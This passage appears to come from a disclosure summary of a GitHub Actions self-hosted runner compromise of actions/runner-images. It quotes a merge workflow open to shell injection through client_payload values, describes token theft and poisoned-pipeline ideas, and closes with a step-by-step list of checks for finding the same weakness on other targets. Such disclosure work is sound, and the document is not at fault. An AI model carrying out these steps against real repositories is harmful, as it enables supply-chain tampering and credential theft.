The report is careful about what is certain and what is not. What was clear is that the researcher could have merged arbitrary code into the main branch, and because of the weekly deployment cadence a change would likely not have been noticed before the image reached the production pool. Other impacts were:

  • Access to an internal macOS private cloud vCenter as Administrator.
  • Azure credentials providing access to a storage account used to save CI build output.
  • The ability to tamper with the Packer build process used for both macOS and Windows CI builds, which may or may not be the same images eventually pulled into the production pool.

The report describes a path to modifying code in main. With a GITHUB_TOKEN that had full write permissions, an attacker could modify code in a feature branch, for example a subtle change to a URL for a script or package downloaded during the build, and issue a repository_dispatch event to trigger the merge pull request workflow. The workflow is shown in the report:

Text
name: Merge pull request

on:
  repository_dispatch:
    types: [merge-pr]

jobs:
  Merge_pull_request:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3
      with:
        fetch-depth: 0

    - name: Resolve possible conflicts ${{ github.event.client_payload.ReleaseBranchName }} with main
      run: |
        git config --global user.email "[email protected]"
        git config --global user.name "Actions service account"
        git checkout ${{ github.event.client_payload.ReleaseBranchName }}-docs
        git merge --no-edit --strategy-option=ours main
        git push origin ${{ github.event.client_payload.ReleaseBranchName }}-docs
        sleep 30

    - name: Approve pull request by GitHub-Actions bot
      uses: actions/github-script@v2
      with:
        github-token: ${{secrets.PRAPPROVAL_SECRET}}
        script: |
          github.pulls.createReview({
            owner: context.repo.owner,
            repo: context.repo.repo,
            pull_number: ${{ github.event.client_payload.PullRequestNumber }},
            event: "APPROVE"
          });

    - name: Merge pull request for ${{ github.event.client_payload.ReleaseBranchName }}
      uses: actions/github-script@v2
      with:
        github-token: ${{secrets.GITHUB_TOKEN}}
        script: |
          github.pulls.merge({
            owner: context.repo.owner,
            repo: context.repo.repo,
            pull_number: ${{ github.event.client_payload.PullRequestNumber }},
            merge_method: "squash"
          })

The report notes that this workflow would also have allowed theft of PRAPPROVAL_SECRET through a shell injection attack. Shell injection is when untrusted input is passed to a shell command, allowing an attacker to run their own commands. The PAT belongs to a GitHub employee with write access to the repository, which the researcher determined by observing current runs of https://github.com/actions/runner-images/actions/workflows/merge_pull_request.yml. A PAT is a personal access token, a token tied to a user account. PRs are merged quickly after an approval by the employee.

From the original on adnanthekhan.com

Cross-referencing workflow logs with other PRs led to two conclusions:

  • PRAPPROVAL_SECRET is a PAT belonging to a GitHub employee. It might be a fine-grained PAT with only PR approval permissions for actions/runner-images, but it is quite possible that it is a classic PAT with repo scope. Scope defines what a token is allowed to do.
  • The GITHUB_TOKEN could be used to commit changes to open PRs, because the workflow makes a merge commit and pushes it with a specific bot account.
From the original on adnanthekhan.com

The report describes the resulting path as a way to tamper with the runner images code used for all GitHub and Azure Pipelines hosted runners. A skilled attacker could drop a payload that checks whether the image is processing a workflow for a high-value target organisation and only then run a second stage to perform a poisoned pipeline execution attack inside GitHub's build environment. Poisoned pipeline execution is when an attacker injects malicious code into a CI/CD pipeline. Victims would have had no idea until an APT was already backdooring their builds and using their CI/CD secrets. APT stands for advanced persistent threat, a stealthy and persistent attacker.

For Ubuntu and Windows images, the CI build saved images to an Azure storage account in a step called Create release for VM deployment:

Text
      - name: Create release for VM deployment
        run: |
          $BuildId = ${{ github.run_id }} % [System.UInt32]::MaxValue
          ./images.CI/linux-and-win/create-release.ps1 `
            -BuildId $BuildId `
            -Organization ${{ secrets.RELEASE_TARGET_ORGANIZATION }} `
            -DefinitionId ${{ secrets.RELEASE_TARGET_DEFINITION_ID }} `
            -Project ${{ secrets.RELEASE_TARGET
_PROJECT }} `
            -ImageName ${{ env.ImageType }} `
            -AccessToken ${{ secrets.RELEASE_TARGET_TOKEN }}

The report points to the PR comments for https://github.com/actions/runner-images/pull/7182, which introduced GitHub CI to the repository, for what some of these values would have been.

From the original on adnanthekhan.com

For maccloud access, the report states that a reverse tunnel would have allowed login to the vCenter instance with the administrator credentials, and that any path from that vCenter to the production Mac runner environment could potentially allow modification of image templates.

Fix

The report describes the general recommendation and notes that initial mitigations appeared in the repository. The easiest mitigation for this class is to change the default setting from Require approval for first-time contributors to Require approval for all outside collaborators. The report calls this a no-brainer for any public repository that uses self-hosted runners.

From the original on adnanthekhan.com

An attacker can still try to trick a maintainer into clicking approve, but that has a much lower chance of success and requires creativity to hide the payload in a much larger legitimate PR. The report says defence in depth for self-hosted runners will be covered in a future post, and stresses that it is really challenging to design a system that lets anyone run arbitrary code on your infrastructure without some risk.

The disclosure timeline in the report is:

Date Event
18 July 2023 Typo fix pull request created
20 July 2023 Pull request merged
21 July 2023 Attack conducted and persistence deployed
22 July 2023 Report submitted through HackerOne
24 July 2023 Report acknowledged
25 July 2023 Triaged by GitHub staff, initial mitigations made
26 July 2023 Persistence removed
14 November 2023 Resolved and bounty awarded

Variants to test

The report closes with follow-on work. The researcher teamed up with John Stawinski to find, exploit and report this vulnerability class against organisations with high-paying bug bounty programs. They refined techniques for Linux, macOS and Windows runners, and for ephemeral self-hosted runners using Actions Runner Controller. Disclosures named in the report are PyTorch, TensorFlow, Microsoft DeepSpeed and Chia Networks. The discovery engine was Gato (GitHub Attack TOolkit), released in January 2023 alongside the ShmooCon 2023 talk, originally aimed at identifying the blast radius of a compromised PAT with an emphasis on lateral movement via self-hosted runners. The report shows Gato discovering self-hosted runners on Microsoft's public repositories with two commands.

Concrete things to try on other targets, based on the report:

  1. Look for non-ephemeral runners on public repositories. Run a workflow that uses actions/checkout and check the logs for Cleaning the repository. A positive result is that message, or a repeated runner name across runs, which suggests persistence is possible.
  2. Check the fork PR approval setting. If a trivial contribution makes an account a contributor and its fork PR workflows then run without approval, the repository is exposed. A positive result is a workflow run triggered from a fork PR with no approval step.
  3. Test whether runs-on can be changed from a fork. Modify the workflow in the fork to target a self-hosted label such as azure-builds or macos-vmware and open a PR. A positive result is a run picked up by the self-hosted runner.
  4. Check GITHUB_TOKEN permissions and checkout persistence. A workflow run log showing write permissions, and a .git/config containing an AUTHORIZATION header with a ghs_ token, confirms the token can be read from the working directory.
  5. Check for secrets in _temp. If secrets are passed into run steps, look in the runner's _temp directory during a build. A positive result is clear-text secret material.
  6. Review merge and approval workflows for shell injection. Workflows that interpolate github.event.client_payload values into run steps, as in the merge workflow above, may allow theft of approval PATs. A positive result is command execution with the PAT available in the environment.
  7. Enumerate with Gato. Use the tool to find self-hosted runners on public repositories, as the report demonstrates against Microsoft's repositories.

The report does not give the exact Gato commands or their output, so those would need to be taken from the tool's own repository.

Glossary

  • APT: Advanced Persistent Threat; a stealthy, long-term attacker, often state-sponsored.
  • API: Application Programming Interface; a set of rules that lets programs talk to each other.
  • Actions Runner Controller: A tool for running self-hosted runners on Kubernetes.
  • Base64: A way to encode binary data as text.
  • Bounty: A reward paid for finding and reporting a security bug.
  • C2: Command and Control; the channel an attacker uses to control compromised machines.
  • CI/CD: Continuous Integration and Continuous Delivery; automating building, testing and deploying software.
  • Contributor: Someone who has had at least one change accepted into a repository.
  • EDR: Endpoint Detection and Response; software that monitors computers for malicious activity.
  • Egress controls: Rules that limit outbound network connections.
  • Ephemeral: Temporary; destroyed after use.
  • Fork: A copy of a repository that you can modify independently.
  • Gato: GitHub Attack TOolkit; a tool for enumerating GitHub Actions pipelines.
  • GitHub Actions: GitHub's CI/CD service.
  • GITHUB_TOKEN: A temporary token automatically created for each workflow run.
  • Header: Part of an HTTP request or response that carries metadata.
  • Heuristic: A rule of thumb.
  • Hosted runner: A runner provided by GitHub.
  • Label: A tag used to select a runner.
  • Non-ephemeral: Not temporary; keeps state between jobs.
  • PAT: Personal Access Token; a token tied to a user account.
  • Packer: A tool for building machine images.
  • Payload: The malicious code an attacker runs.
  • Persistence: Maintaining access across reboots or job endings.
  • Poisoned Pipeline Execution: Injecting malicious code into a CI/CD pipeline.
  • Pull request (PR): A request to merge changes from a fork or branch into another branch.
  • Repository: A project's storage space on GitHub.
  • Runner: A computer that executes workflow jobs.
  • Secret: Sensitive information stored securely and injected into workflows.
  • Self-hosted runner: A runner run on your own infrastructure.
  • Shell injection: Running arbitrary commands by injecting into a shell command.
  • SOCKS tunnel: A way to route network traffic through a compromised machine.
  • Token: A temporary credential used to authenticate.
  • vCenter: VMware's management platform for virtual machines.
  • Web shell: A way to run commands on a remote computer through a web interface.
  • Workflow: A YAML file that defines automated steps.
  • YAML: A human-readable data serialisation format used for configuration.

More by Adnan Khan

View all

4 more disclosed reports, best first.

More from GitHub

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.